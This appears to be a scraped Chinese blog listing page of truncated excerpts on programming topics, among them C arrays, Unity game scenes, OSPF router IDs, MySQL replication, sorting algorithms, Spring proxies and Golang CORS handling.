各位少年&#xff1a; 标题&#xff1a;《C语言一维数组的探索之旅&#xff1a;从声明到初始化&#xff0c;及如何避免常见误区》 引言 在编程世界中&#xff0c;数组无疑是最基础且重要的数据结构之一&#xff0c;尤其在C语言中&#xff0c;它以其简洁明了的特性为各类数据处…...

Unity坦克大战开发全流程——开始场景——场景装饰

开始场景——场景装饰 step1&#xff1a;先创建两个场景 step2&#xff1a;将地板拖拽到场景上 step3&#xff1a;将方块拖拽到场景上&#xff0c;并设置其参数 step4&#xff1a;将坦克拖拽到场景上 step5&#xff1a;创建点光源 step6&#xff1a;旋转炮塔 将该脚本挂载到炮…...

【链表OJ—链表的回文结构】

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、pandas是什么&#xff1f;二、使用步骤 1.引入库2.读入数据总结 前言 提示&#xff1a;这里可以添加本文要记录的大概内容&#xff1a; 例如&#xff1a;…...

关键字:try-catch关键字

在 Java 中&#xff0c;try-catch关键字用于异常处理。它们允许编写代码来捕获和处理异常&#xff0c;以确保程序能够在出现问题时合理地处理它们而不会崩溃。 以下是try-catch关键字的基本语法&#xff1a; 在try块中编写可能会抛出异常的代码。如果在try块中的任何代码抛出…...

双指针算法

目录 双指针算法 最长连续不重复子序列 数组元素的目标和 双指针算法 常见的两种样式&#xff1a; 双指针指向两个不同的区间 双指针指向一个区间的左右两端&#xff0c;这种方式更加常见 双指针算法思想 for(int i0;i<n;i)for(int j0;j<n;j)O(n^2) 时间复杂度 …...

Cucumber-JVM的示例和运行解析

Cucumber-JVM 是一个支持 Behavior-Driven Development (BDD) 的 Java 框架。在 BDD 中&#xff0c;可以编写可读的描述来表达软件功能的行为&#xff0c;而这些描述也可以作为自动化测试。 Cucumber-JVM 的最小化环境 Cucumber-JVM是BDD的框架&#xff0c; 提供了GWT语法的相…...

OSPF ROUTER-ID-新版(15)

目录 整体拓扑 操作步骤 1.INT 验证Router-ID选举规则 1.1 查看路由器Router-ID 1.2 配置R1地址 1.3 查看R1接口信息 1.4 查看R1Router-ID 1.5 删除接口IP并查看Router-ID 1.6 手工配置Router-ID 2.基本配置 2.1 配置R1的IP 2.2 配置R2的IP 2.3 配置R3的IP 2.4 配…...

阿里开源大模型 Qwen-72B 私有化部署

近期大家都知道阿里推出了自己的开源的大模型千问72B&#xff0c;据说对于中文非常友好&#xff0c;在开源模型里面&#xff0c;可谓是名列前茅。 千问拥有有强大的基础语言模型&#xff0c;已经针对多达 3 万亿个 token 的多语言数据进行了稳定的预训练&#xff0c;覆盖领域、…...

ubuntu下编译obs-studio遇到的问题记录

参考的是这篇文档&#xff1a;Build Instructions For Linux obsproject/obs-studio Wiki GitHub 在安装OBS dependencies时&#xff0c; sudo apt install libavcodec-dev libavdevice-dev libavfilter-dev libavformat-dev libavutil-dev libswresample-dev libswscale-d…...

C++的一些知识

一. 语法 move怎么用 https://blog.csdn.net/zhangmiaoping23/article/details/126051520 这个文章讲的很好&#xff0c;其中有一些疑惑的点 (1) 左值引用不能接右值 class T1{int a; }; int main(){T1 t1 T1();T1 && t1_temp T1(); //T1()是一个临时对象&#xf…...

大数据 - 大数据入门第一篇 | 关于大数据你了解多少?

&#x1f436;1.1 概述 大数据&#xff08;BigData):指无法在一定时间范围内用常规软件工具进行捕捉、管理和处理的数据集合&#xff0c;是需要新处理模式才能具有更强的决策力、洞察发现力和流程优化能力的海量、高增长率和多样化的信息资产。 大数据主要解决、海量数据的采…...

C语言——扫雷

扫雷是一款经典的小游戏&#xff0c;那如何使用C语言实现一个扫雷游戏呢&#xff1f; 一、全部源码 直接把全部源码放在开头&#xff0c;如有需要&#xff0c;直接拿走。 源码分为三个文件&#xff1a; test.cpp/c 主函数的位置 #include "game.h"int main() {…...

计算机网络【DNS】

DNS 基本概述 与 HTTP、FTP 和 SMTP 一样&#xff0c;DNS 协议也是应用层的协议&#xff0c;DNS 使用客户-服务器模式运行在通信的端系统之间&#xff0c;在通信的端系统之间通过下面的端到端运输协议来传送 DNS 报文。但是 DNS 不是一个直接和用户打交道的应用。DNS 是为因特…...

Windows实现MySQL5.7主从复制(详细版)

使用免安装版本&#xff08;官网下载地址&#xff09; 在Windows上安装两种MySQL服务并同时开启服务 1.下载配置 打开解压文件所在位置&#xff0c;就新建一个配置文件my.ini。 2.主库安装 主库的my.ini配置文件如下&#xff1a; [mysqld] #设置主库端口&#xff0c;注意须是…...

AI 绘画 | Stable Diffusion 视频生成重绘

前言 本篇文章教会你如何使用Stable Diffusion WEB UI,实现视频的人物,或是动物重绘,可以更换人物或者动物,也可以有真实变为二次元。 视频展示 左边是原视频,右边是重绘视频原视频和Ai视频画面合并 教程 这里需要用到Stable Diffusion WEB UI的扩展插件ebsynth_utility…...

使用easyexcel对导出表格添加合计行

文章目录 一、背景二、实现1、写法一2、写法二 三、遇到的问题四、参考 一、背景 近期开发的一个新功能需要导出和前端展示样式一致的统计表格&#xff0c;而前端使用的elementui的table组件&#xff0c;show-summary属性选择后可以自动计算。后端导出时其他单元格与返回前端展…...

Springcloud Alibaba使用Canal将Mysql数据实时同步到Redis保证缓存的一致性

目录 1. 背景 2. Windows系统安装canal 3.Mysql准备工作 4. 公共依赖包 5. Redis缓存设计 6. mall-canal-service 1. 背景 canal [kənl] &#xff0c;译意为水道/管道/沟渠&#xff0c;主要用途是基于 MySQL 数据库增量日志解析&#xff0c;提供增量数据订阅和消费。其诞…...

Python入门学习篇(十四)——模块文件操作

1 模块 1.1 理解 包: python中带有__init__.py文件的文件夹 模块: 文件名(不包含.py后缀),如python官方的time.py中time就是模块1.2 示例代码 import datetime# 调用datetime模块中的datetime类的now()方法 t datetime.datetime.now() # 格式化输出日期和时间 strftime(&qu…...

【数据结构】排序之交换排序(冒泡 | 快排)

交换目录 1. 前言2. 交换排序3. 冒泡排序3.1 分析3.2 代码实现 4. 快速排序4.1 hoare版本4.1.1 分析4.1.2 hoare版本代码 4.2 挖坑法4.2.1 分析4.2.2 挖坑法代码实现 4.3 前后指针版本4.3.1 分析4.3.2 前后指针版本代码实现 1. 前言 在之前的博客中介绍了插入排序&#xff0c;…...

AI电商时代开始:阿里能否反杀拼多多

“AI电商时代刚刚开始&#xff0c;对谁都是机会&#xff0c;也是挑战。” 针对阿里员工对于拼多多财报和电商等的讨论&#xff0c;马云在阿里内网罕见地参与了谈论并发言。 阿里巴巴一向雷厉风行&#xff0c;已打响了AI电商的“第一炮”。 根据《晚点LatePost》报道&#xff…...

STC8H系列单片机入门教程之NVC系列语音播报模块(九)

一、模块简述 ● 模组支持3.3V和5V单片机供电系统 ● 标准2.54MM间距排针与外部连接 ● 支持喇叭0.5W/8欧 ● 适合用于超声波距离、电子秤重量、时钟时间、温度、球赛比分等语音播报 二、引脚说明 序号 名称 说明 1 VCC 电源正&#xff08;3.3V-5V&#…...

认识计算机网络——计算机网络的组成

计算机网络是由多个计算机和网络设备组成的系统&#xff0c;通过通信协议实现数据传输和信息交换。它是现代社会信息技术的重要支撑&#xff0c;广泛应用于各个领域。本文将介绍计算机网络的主要组成部分&#xff0c;包括硬件设备、软件协议和网络服务。 一、硬件设备 计算机网…...

数据的复制

基本概念 数据的复制指的是通过网络链接的多台机器保留相同的副本 为什么要进行数据的复制 使得用户和数据在地理上比较接近&#xff0c;因为大数据要求我们将计算安排在数据存放的位置和我们基本的内存模型不是很一样 &#xff0c;比如磁盘调入内存之类的。即使系统的一部分…...

【辐射场】3D Gaussian Splatting

三维高斯…喷喷 \, 3D Gaussian Splatting&#xff0c;下文简称3DGS&#xff0c;是好一段时间以来在三维内容创作和三维重建领域比较有热度的一项技术。 它属于基于图像的三维重建方法&#xff0c;意思就是你对现实物体或者场景拍照片&#xff0c;就能给你训练成一个场景模型&a…...

冒泡排序--------(C每日一题)

冒泡排序&#xff1a; 每次将相邻的两个数比较,将小的调到前头--升序 冒泡排序一个结论&#xff1a; n个数要进行n-1轮比较&#xff0c;第j轮要进行n-j次两两比较 循环体代码&#xff1a; int main() {int i, j,n,a[10],t;//n是几个数比较for(j1;j<n-1;j)//控制轮次for…...

每日一练:LeeCode-347. 前 K 个高频元素(中) - 【优先级队列】

本文是力扣LeeCode-347. 前 K 个高频元素 学习与理解过程&#xff0c;本文仅做学习之用&#xff0c;对本题感兴趣的小伙伴可以出门左拐LeeCode。 给你一个整数数组 nums 和一个整数 k &#xff0c;请你返回其中出现频率前 k 高的元素。你可以按 任意顺序 返回答案。 示例 1: 输…...

<蓝桥杯软件赛>零基础备赛20周--第11周--贪心

报名明年4月蓝桥杯软件赛的同学们&#xff0c;如果你是大一零基础&#xff0c;目前懵懂中&#xff0c;不知该怎么办&#xff0c;可以看看本博客系列&#xff1a;备赛20周合集 20周的完整安排请点击&#xff1a;20周计划 每周发1个博客&#xff0c;共20周。 在QQ群上答疑&#x…...

PowerShell Instal 一键部署TeamCity

前言 TeamCity 是一个通用的 CI/CD 软件平台,可实现灵活的工作流程、协作和开发实践。允许在您的 DevOps 流程中成功实现持续集成、持续交付和持续部署。 系统支持 Centos7,8,9/Redhat7,8,9及复刻系列系统支持 Windows 10,11,2012,2016,2019,2022高版本建议使用9系列系统…...

将“渴望“乐谱写入AT24C02并读出播放

#include <reg51.h> // 包含51单片机寄存器定义的头文件 #include <intrins.h> //包含_nop_()函数定义的头文件 #define OP_READ 0xa1 // 器件地址以及读取操作,0xa1即为1010 0001B #define OP_WRITE 0xa0 // 器件地址以及写…...

Vue独立组件开发-动态组件

文章目录 一、前言二、实现三、优化四、总结五、最后 一、前言 在开发中&#xff0c;你经常会遇到这么一种情况&#xff1a;根据条件动态地切换某个组件&#xff0c;或动态地选择渲染某个组件。 Vue 提供了另外一个内置的组件 <component> 和 is 特性&#xff0c;可以更…...

前端八股文(HTML篇)

目录 1.什么是DOCTYPE,有何用呢&#xff1f; 2.说说对html语义化的理解 3.src和href的区别&#xff1f; 4.title与h1的区别&#xff0c;b与strong的区别&#xff0c;i与em的区别&#xff1f; 5.什么是严格模式与混杂模式&#xff1f; 6.前端页面有哪三层构成&#xff0c;分…...

RivaGAN 水印项目

git地址 https://github.com/DAI-Lab/RivaGAN Dockerfile (/tools下文件为git下的文件) ############################################### # 使用 NVIDIA CUDA 10.0 开发环境作为基础镜像 FROM kaldiasr/kaldi:gpu-ubuntu18.04-cuda10.0 # 设置非交互式安装模式以避免某些命…...

Games101作业5

1.实现Renderer.cpp 中的 Render()&#xff1a;为每个像素生成光线 这里你需要为每个像素生成一条对应的光 线&#xff0c;然后调用函数 castRay() 来得到颜色&#xff0c;最后将颜色存储在帧缓冲区的相 应像素中。 我们要做的就是将屏幕空间下的坐标最后转换到世界空间的坐标…...

Golang解决跨域问题【OPTIONS预处理请求】

Golang解决跨域问题 前置知识&#xff1a;跨域问题产生条件及原因 跨域是是因为浏览器的同源策略限制&#xff0c;是浏览器的一种安全机制&#xff0c;服务端之间是不存在跨域的。 所谓同源指的是两个页面具有相同的协议、主机和端口&#xff0c;三者有任一不相同即会产生跨域…...

复试 || 就业day05(2023.12.31)算法篇

文章目录 前言找不同最长回文串找到所有数组中消失的数字下一个更大元素 I键盘行 前言 &#x1f4ab;你好&#xff0c;我是辰chen&#xff0c;本文旨在准备考研复试或就业 &#x1f4ab;文章题目大多来自于 leetcode&#xff0c;当然也可能来自洛谷或其他刷题平台 &#x1f4ab…...

Spring-4-代理

前面提到过&#xff0c;在Spring中有两种类型的代理&#xff1a;使用JDK Proxy类创建的JDK代理以及使用CGLIB Enhancer类创建的基于CGLIB的代理。 你可能想知道这两种代理之间有什么区别&#xff0c;以及为什么 Spring需要两种代理类型。 在本节中&#xff0c;将详细研究代理…...

设计模式:抽象工厂模式(讲故事易懂)

抽象工厂模式 定义&#xff1a;将有关联关系的系列产品放到一个工厂里&#xff0c;通过该工厂生产一系列产品。 设计模式有三大分类&#xff1a;创建型模式、结构型模式、行为型模式 抽象工厂模式属于创建型模式 上篇 工厂方法模式 提到工厂方法模式中每个工厂只生产一种特定…...

C语言中的Strict Aliasing Rule

文章目录 前言没有警告不代表没有问题目前的应对方法 前言 很久没写了&#xff0c;水一篇。 最近有个代码在gcc 4.8.5上编译失败。编译失败的提示是&#xff1a; error: dereferencing type-punned pointer will break strict-aliasing rules [-Werrorstrict-aliasing]查了下…...

单字符检测模型charnet使用方法,极简

Git链接 安装按照上面的说明&#xff0c;说下使用。 把tools下面的test做了一点修改&#xff0c;可以读取一张图片&#xff0c;把里面的单个字符都检测和识别出来。 然后绘制到屏幕上。 import torch from charnet.modeling.model import CharNet import cv2, os import num…...